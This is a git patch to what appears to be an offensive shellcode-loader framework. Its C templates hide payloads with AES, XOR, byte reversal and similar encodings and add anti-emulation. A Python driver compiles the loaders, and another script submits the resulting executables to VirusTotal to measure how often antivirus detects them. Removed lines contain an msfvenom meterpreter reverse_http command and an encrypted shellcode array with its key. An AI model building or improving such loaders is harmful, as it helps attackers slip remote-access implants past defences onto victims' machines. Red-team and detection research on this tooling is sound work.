From bfa008958d4a62a22dd473bc4ec4e33447effefe Mon Sep 17 00:00:00 2001 From: Dobin Rutishauser Date: Tue, 20 May 2025 22:47:20 +0200 Subject: [PATCH] code update --- chromatophore/aes/aes.c | 9 -- .../reverse_byte_order/reverse_byte_order.c | 4 +- .../reverse_hex_string/reverse_hex_string.c | 4 +- chromatophore/xor_reverse/xor_reverse.c | 2 +- sol.py | 139 ++++++++---------- vt.py | 63 ++++++-- 6 files changed, 119 insertions(+), 102 deletions(-) diff --git a/chromatophore/aes/aes.c b/chromatophore/aes/aes.c index 61f827a..aa4c6a4 100644 --- a/chromatophore/aes/aes.c +++ b/chromatophore/aes/aes.c @@ -41,16 +41,7 @@ int main(void) {{SHELLCODE}} - // msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.190.134 LPORT=80 -f raw -o met.bin - // python3 aes.py met.bin - /* - char shellcode[] = { 0xee, 0xd5, 0x86, 0x39, 0xa3, 0x5c, 0x1c, 0x99, 0x9b, 0x26, 0xd0, 0xe8, 0x66, 0x2e, 0xe1, 0xc5, 0x3, 0x8e, 0x2c, 0xea, 0x3a, 0x36, 0x99, 0x5a, 0xcc, 0x37, 0xc1, 0xbb, 0x67, 0xcc, 0xb3, 0xed, 0x9d, 0x96, 0x8, 0x84, 0x83, 0xa9, 0xdb, 0x3a, 0x39, 0xe, 0x4e, 0xe0, 0x42, 0x5d, 0x1a, 0x69, 0x3d, 0x4f, 0xa7, 0x67, 0x35, 0xec, 0xaf, 0x11, 0xc, 0x75, 0xc, 0xe2, 0xe6, 0x70, 0x10, 0x28, 0xaa, 0xd1, 0x5c, 0xb6, 0x52, 0xe4, 0xa7, 0xeb, 0xc1, 0xfc, 0x32, 0xe7, 0x69, 0xfd, 0x5e, 0xa6, 0xe6, 0xc6, 0x14, 0x7f, 0x57, 0x42, 0x7f, 0x55, 0x13, 0x63, 0x27, 0x79, 0x43, 0x8f, 0x60, 0x70, 0x3c, 0x9a, 0xe8, 0xd9, 0xfa, 0xd6, 0xf6, 0xea, 0xfc, 0xa6, 0x86, 0x70, 0xd, 0xc8, 0x60, 0x49, 0x13, 0x69, 0xf1, 0xcc, 0x7f, 0x3, 0xbd, 0x42, 0x79, 0x43, 0xa7, 0x73, 0x6d, 0xda, 0x8c, 0xdc, 0x11, 0xd9, 0x3e, 0x90, 0xa2, 0xd7, 0xc9, 0x9d, 0x19, 0x35, 0xc8, 0xc3, 0x58, 0xed, 0x81, 0x64, 0xf7, 0xa6, 0x2d, 0xe0, 0x12, 0x1e, 0xd2, 0x11, 0xc5, 0x9d, 0x71, 0xfb, 0xf0, 0xb2, 0x38, 0x24, 0xa0, 0xd9, 0xcc, 0x59, 0xf6, 0xd5, 0xca, 0x29, 0x45, 0x74, 0xf, 0x5a, 0x99, 0x1e, 0x2, 0x25, 0xf8, 0x3e, 0x96, 0x88, 0x3c, 0x8, 0xf9, 0x81, 0xd9, 0x27, 0x51, 0xa0, 0xf6, 0xec, 0x68, 0x2e, 0xb3, 0x4a, 0xdc, 0xc0, 0x28, 0x8c, 0x70, 0x97, 0x8d, 0xdc, 0xa7, 0x7e, 0x7c, 0x6e, 0xa5, 0x93, 0x51, 0x8, 0xd7, 0xf7, 0x6e, 0xcf, 0xae, 0xa7, 0x7f, 0x5d, 0xce, 0x1, 0xd0, 0xe9, 0x29, 0xdc, 0xc3, 0xf4, 0xfb, 0xf5, 0x30, 0x98, 0x76, 0x57, 0x6e, 0x19, 0x9, 0xc1, 0xdc, 0x57, 0xf2, 0x33, 0x3f, 0x68, 0x5a, 0xd2, 0xbb, 0x5a, 0x40, 0x77, 0x5f, 0x30, 0xf0, 0x7f, 0x24, 0x6f, 0xf7, 0xe3, 0x27, 0x39, 0x3a, 0x82, 0x51, 0xfc, 0x4f, 0x53, 0x87, 0x66, 0xe5, 0xcc, 0xce, 0x51, 0x3e, 0xce, 0x1c, 0xec, 0x12, 0x17, 0x7b, 0x10, 0x3a, 0xdb, 0x70, 0xbd, 0xfe, 0xfb, 0x8e, 0x2a, 0x97, 0x5, 0x44, 0x35, 0x35, 0x1, 0xe2, 0x4a, 0xae, 0xa6, 0xea, 0x51, 0x66, 0x61, 0xfc, 0x74, 0x25, 0x6, 0xb5, 0xb4, 0xc1, 0x89, 0x31, 0xd5, 0x13, 0x95, 0x87, 0x4, 0xe, 0xa5, 0x7b, 0x7c, 0x0, 0x29, 0x5c, 0xcd, 0xfc, 0xea, 0x1b, 0xc6, 0xe1, 0x9d, 0x73, 0xc4, 0x84, 0x15, 0xe6, 0x70, 0x2c, 0x3b, 0x8a, 0xfe, 0x60, 0xd1, 0x10, 0xa5, 0x24, 0x6e, 0xce, 0xc1, 0x3d, 0x81, 0xae, 0xa3, 0xf4, 0x40, 0xa9, 0x2c, 0xd7, 0x6, 0xa4, 0xff, 0x4d, 0x9b, 0xc0, 0x13, 0xb3, 0x17, 0x80, 0x44, 0x23, 0x13, 0xc4, 0xa0, 0x88, 0xfc, 0xbb, 0x9e, 0x67, 0xdb, 0x80, 0x4e, 0x9d, 0xd6, 0x1c, 0x57, 0x9f, 0xdc, 0x4e, 0x26, 0xe4, 0xc8, 0x8c, 0xa9, 0x94, 0xa0, 0xf0, 0x5c, 0xd2, 0xdd, 0x43, 0x85, 0xa, 0xbe, 0x1f, 0x2b, 0xc4, 0xa9, 0x8d, 0x49, 0xfa, 0x71, 0xd, 0x4e, 0x3, 0x17, 0x2b, 0x8, 0x66, 0x6a, 0x36, 0xc2, 0xa4, 0xa4, 0x14, 0xb0, 0x7c, 0xc3, 0x23, 0xa8, 0x4d, 0x52, 0x8b, 0x57, 0x2b, 0x52, 0xa2, 0xed, 0x69, 0x1a, 0x40, 0x90, 0x96, 0x39, 0x1d, 0xde, 0x5e, 0x6e, 0x25, 0x70, 0xa2, 0xeb, 0xb3, 0x7e, 0x5, 0x69, 0x96, 0x94, 0xd7, 0x9b, 0xef, 0xb2, 0xed, 0x3, 0x76, 0xf1, 0xf0, 0x42, 0xb0, 0x8e, 0x41, 0xd2, 0x56, 0x74, 0x40, 0xca, 0xd9, 0x72, 0xef, 0x73, 0xfe, 0xf0, 0xd, 0x48, 0x6c, 0xfb, 0xa2, 0x57, 0xa9, 0xf4, 0x63, 0x43, 0x18, 0x68, 0xd4, 0x59, 0xc6, 0x22, 0xec, 0xa1, 0x62, 0x59, 0x15, 0xfc, 0xf8, 0x3b, 0xb5, 0x38, 0xa3, 0x43, 0x7c, 0xd9, 0xf, 0xa, 0xaf, 0xb1, 0x6d, 0x3f, 0xd5, 0xbe, 0x47, 0x88, 0xb2, 0x1c, 0x4f, 0x13, 0x9e, 0xea, 0xd4, 0x64, 0xe8, 0x57, 0xa0, 0x4, 0x22, 0xbf, 0xf7, 0x97, 0x22, 0x42, 0xb2, 0xd, 0xb9, 0x38, 0xb9, 0x34, 0xa9, 0x1a, 0x43, 0x11, 0x34, 0x91, 0xf3, 0x9c, 0x63, 0x6, 0x5e, 0xf0, 0x80, 0x5c, 0x15, 0x6, 0x70, 0x40, 0x24, 0x7e, 0x6e, 0x92, 0x2a, 0xfd, 0x51, 0xd1, 0x1, 0x18, 0x7a, 0xfb, 0x63, 0x5b, 0x64, 0xd4, 0x99, 0xf8, 0xbc, 0x8d, 0x36, 0x32, 0x31, 0xaf, 0x6a, 0xe3, 0x8f, 0xd8, 0x3e, 0x85, 0x64, 0x64, 0xc, 0x2e, 0x29, 0x67, 0xbb, 0xe3, 0xa9, 0x1e, 0x41, 0x30, 0xd8, 0x29, 0x86, 0x88, 0x98, 0x49 }; - // Decrypt our payload - char AESkey[] = { 0x28, 0xa6, 0x8d, 0x1f, 0xaf, 0xe5, 0x1a, 0xd4, 0x4f, 0x8d, 0x41, 0x55, 0xd3, 0xb4, 0xda, 0xfa }; - */ - AESDecrypt((char *) shellcode, sizeof(shellcode), AESkey, sizeof(AESkey)); - int idx = 0; while ( idx < sizeof(shellcode)) diff --git a/chromatophore/reverse_byte_order/reverse_byte_order.c b/chromatophore/reverse_byte_order/reverse_byte_order.c index 8a26bb5..4586328 100644 --- a/chromatophore/reverse_byte_order/reverse_byte_order.c +++ b/chromatophore/reverse_byte_order/reverse_byte_order.c @@ -7,10 +7,10 @@ int main(void) { {{ANTI_EMULATION}} - char shellcode[562] = { 0 }; - {{SHELLCODE}} + char shellcode[sizeof(reversed_payload)] = { 0 }; + // reverse our array of ints for (int i = 0; i < sizeof(reversed_payload); i++) { diff --git a/chromatophore/reverse_hex_string/reverse_hex_string.c b/chromatophore/reverse_hex_string/reverse_hex_string.c index 411d528..ed06253 100644 --- a/chromatophore/reverse_hex_string/reverse_hex_string.c +++ b/chromatophore/reverse_hex_string/reverse_hex_string.c @@ -14,12 +14,12 @@ int main(void) { printf("Reversed hex string: %s\n", hex_string); // declare a new shellcode byte array - char shellcode[598]; + char shellcode[sizeof(reversed_hex_string)] = { 0 }; // define an index to keep track of where we're at int idx = 0; int count = 0; - const int MAX_TOKENS = 598; + const int MAX_TOKENS = sizeof(reversed_hex_string); char* next_token = NULL; char* token = strtok_s(hex_string, ",", &next_token); while (token != NULL && count < MAX_TOKENS) { diff --git a/chromatophore/xor_reverse/xor_reverse.c b/chromatophore/xor_reverse/xor_reverse.c index 0b11cd9..1ac027c 100644 --- a/chromatophore/xor_reverse/xor_reverse.c +++ b/chromatophore/xor_reverse/xor_reverse.c @@ -10,7 +10,7 @@ int main(void) {{SHELLCODE}} - char shellcode[598] = {0}; + char shellcode[sizeof(reversed_payload)] = {0}; unsigned int len = sizeof(reversed_payload); int xorkey = 23; diff --git a/sol.py b/sol.py index 4de92d7..3baa943 100644 --- a/sol.py +++ b/sol.py @@ -2,6 +2,7 @@ import subprocess import os import sys +from vt import scan_files from chromatophore.aes import aes from chromatophore.bin2mac import bin2mac @@ -54,90 +55,65 @@ function_map = { "xor_multibyte": xor_multibyte.xor_multibyte, } - # no obfuscation - # // compile: cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcnoobfuscation.c /link /out:noobfuscation.exe /SUBSYSTEM:CONSOLE /MACHINE:x64 - # aes/ - # // python3 aes.py met.bin - # // compile: cl.exe /nologo /Tcaes.c /link /out:aes.exe /SUBSYSTEM:CONSOLE /MACHINE:x64 - # Requires either the pycryptodome or pycryptodomex package (`python3 -m pip install pycryptodomex`) +def compile_all(): + clean_files() - # bin2ip - # cl.exe /nologo /MT /W0 /GS- /DNDEBUG /Tcbin2ipv4.c /link /OUT:bin2ipv4.exe /SUBSYSTEM:CONSOLE /MACHINE:x64 - # bin2ip.py -i met.bin - # IPv4s = [] + for module in function_map.keys(): + print("Templating") + print("Module: " + module) + + shellcode_file = "beacon.bin" + mod_data = function_map[module](shellcode_file) + + template_input = "chromatophore\\{}\\{}.c".format(module, module) + template_output = "chromatophore\\{}\\{}_work.c".format(module, module) + + convert_module(template_input, template_output, mod_data) + compile_module(module) + + +def test_module(): + module = "reverse_byte_order" - # bin2mac - # // cl.exe /nologo /MT /W0 /GS- /DNDEBUG /Tcbin2mac.c /link /OUT:bin2mac.exe /SUBSYSTEM:CONSOLE /MACHINE:x64 - # python3 bin2mac.py -i met.bin - - # jargon - # cl.exe /nologo /MT /W0 /GS- /DNDEBUG /Tcjargon.c /link /out:jargon.exe /SUBSYSTEM:CONSOLE /MACHINE:x64 - # jargon.py - - # jigsaw - # cl.exe /nologo /MT /W0 /GS- /DNDEBUG /Tcjigsaw.c /link /out:jigsaw.exe /SUBSYSTEM:CONSOLE /MACHINE:x64 - # python3 jigsaw.py met.bin - - # offset - # cl.exe /nologo /MT /W0 /GS- /DNDEBUG /Tcoffset.c /link /out:offset.exe /SUBSYSTEM:CONSOLE /MACHINE:x64 - # python3 offset.py -i met.bin - - # reverse_byte_order - # compile: cl.exe /nologo /Tcreverse_byte_order.c /link /OUT:reverse_byte_order.exe /SUBSYSTEM:CONSOLE /MACHINE:x64 - # // python3 reverse_byte_order.py - - # uuid - # python3 bin2uuid.py -i met.bin - # // cl.exe /nologo /MT /W0 /GS- /DNDEBUG /Tcuuid.c /link /out:uuid.exe /SUBSYSTEM:CONSOLE /MACHINE:x64 - - # xor_single - # // cl.exe /nologo /MT /Tcxor.c /link /out:xor.exe /SUBSYSTEM:CONSOLE /MACHINE:x64 - # python3 xor.py - - # xor_multibyte - # // cl.exe /nologo /Tcxor-multibyte-key.c /link /out:xor-multibyte-key.exe /SUBSYSTEM:CONSOLE /MACHINE:x64 - # // python3 xor.py - - -def do(): - # beacon.bin? - # - # optional: create meterpreter shellcode - # - out: output/shellcode.bin - # - # execute bin2mac/bin2mac.py with shellcode.bin - # - out: shellcode_encoded - # - # open bin2mac.c as template - # - //SHELLCODE_ENCODED// to shellcode_encoded - # - optional: add anti-emulation - # - out: output/bin2mac.c - # - # compile output/bin2mac.c - # - out: output/bin2mac.exe - # - # send to virustotal - # - in: output/bin2mac.exe - # - out: output/bin2mac.exe.json - - module = "noobfuscation" - - print("Templating") - shellcode_file = "beacon.bin" mod_data = function_map[module](shellcode_file) - print("Mod data: " + mod_data) template_input = "chromatophore\\{}\\{}.c".format(module, module) template_output = "chromatophore\\{}\\{}_work.c".format(module, module) + convert_module(template_input, template_output, mod_data) + compile_module(module) + #execute_module(module) - convert_template(template_input, template_output, mod_data) - compile_and_execute(module) + +def clean_files(): + print("Cleaning files: ./chromatophore*_work.c, ./*.obj, output/*.exe") + + # delete all files in output directory recursively with file extension .exe + output_dir = "chromatophore" + for root, dirs, files in os.walk(output_dir): + for file in files: + if file.endswith("_work.c"): + os.remove(os.path.join(root, file)) + #print("Deleted: " + os.path.join(root, file)) + # delete all files in this directory with file extension .obj + for file in os.listdir("."): + if file.endswith(".obj"): + os.remove(file) + #print("Deleted: " + file) -def convert_template(template_input, template_output, mod_data, anti_emulation_data=""): + # delete all files in output directory with file extension .exe + output_dir = "output" + for root, dirs, files in os.walk(output_dir): + for file in files: + if file.endswith(".exe"): + os.remove(os.path.join(root, file)) + #print("Deleted: " + os.path.join(root, file)) + + +def convert_module(template_input, template_output, mod_data, anti_emulation_data=""): print("Convert template: {} -> {}".format(template_input, template_output)) with open(template_input) as template_file: template = template_file.read() @@ -148,11 +124,10 @@ def convert_template(template_input, template_output, mod_data, anti_emulation_d output_file.write(template) -def compile_and_execute(module): +def compile_module(module): module_c = "chromatophore\\{}\\{}_work.c".format(module, module) module_exe = "output\\{}.exe".format(module) - print("Executing module: " + module) cmd = "cl.exe /nologo /MT /W0 /GS- /DNDEBUG /Tc{} /link /OUT:{} /SUBSYSTEM:CONSOLE /MACHINE:x64".format( module_c, module_exe ) @@ -163,13 +138,25 @@ def compile_and_execute(module): print("Error executing command: " + cmd) sys.exit(1) + +def execute_module(module): + module_exe = "output\\{}.exe".format(module) + print("Executing module: " + module) result = subprocess.run(module_exe, shell=True) def main(): - do() - + if sys.argv[1] == "clean": + clean_files() + elif sys.argv[1] == "compile": + compile_all() + elif sys.argv[1] == "vt": + scan_files() + elif sys.argv[1] == "test": + test_module() + else: + print("Invalid argument. Use 'clean', 'compile', or 'vt'.") if __name__ == "__main__": main() diff --git a/vt.py b/vt.py index 1fede71..16e8494 100644 --- a/vt.py +++ b/vt.py @@ -1,15 +1,47 @@ import requests import time +import os +import json - -API_KEY = '' +VT_API_KEY = os.getenv('VT_API_KEY') url = 'https://www.virustotal.com/api/v3/files' headers = { - 'x-apikey': API_KEY + 'x-apikey': VT_API_KEY } +def scan_files(): + print("Scanning files in the output directory...") + res = [] + for file in os.listdir('output'): + file_path = os.path.join('output', file) + if os.path.isfile(file_path) and file_path.endswith('.exe'): + print(f"Scanning {file_path}...") + analysis_id = send_file_to_virustotal(file_path) + result = get_analysis_result(analysis_id) + + # convert result to JSON + result_json = json.dumps(result, indent=2) + + # write result to file + with open(f"{file_path}.json", 'w') as json_file: + json_file.write(result_json) + + stats = result['data']['attributes']['stats'] + malicious = stats['malicious'] + + s = "{}: {}".format(file, malicious) + print(" Result: " + s) + res.append(s) + + # write res to file + print("Writing all results to output/scan_results.txt") + with open('output/scan_results.txt', 'w') as f: + for item in res: + f.write("%s\n" % item) + + # returns: analysis_id def send_file_to_virustotal(file_path) -> str: with open(file_path, 'rb') as f: @@ -19,9 +51,11 @@ def send_file_to_virustotal(file_path) -> str: if response.status_code == 200: result = response.json() analysis_id = result['data']['id'] - print(f"Submitted. Analysis ID: {analysis_id}") + #print(f"Submitted. Analysis ID: {analysis_id}") + return analysis_id else: print(f"Failed to submit: {response.status_code} - {response.text}") + return None @@ -34,18 +68,23 @@ def get_analysis_result(analysis_id: str): status = json_response['data']['attributes']['status'] if status == 'completed': stats = json_response['data']['attributes']['stats'] - print("Analysis complete!") - print("Malicious:", stats['malicious']) - print("Suspicious:", stats['suspicious']) - print("Undetected:", stats['undetected']) - print("Harmless:", stats['harmless']) + #print("Analysis complete!") + #print("Malicious:", stats['malicious']) + #print("Suspicious:", stats['suspicious']) + #print("Undetected:", stats['undetected']) + #print("Harmless:", stats['harmless']) + return json_response break else: - print("Analysis in progress...") - time.sleep(5) + #print("Analysis in progress...") + time.sleep(3) else: print("Error retrieving analysis.") - break + print(f"Status code: {response.status_code}") + print(f"Response: {response.text}") + + return None + # Use analysis_id from upload step #get_analysis_result(analysis_id) \ No newline at end of file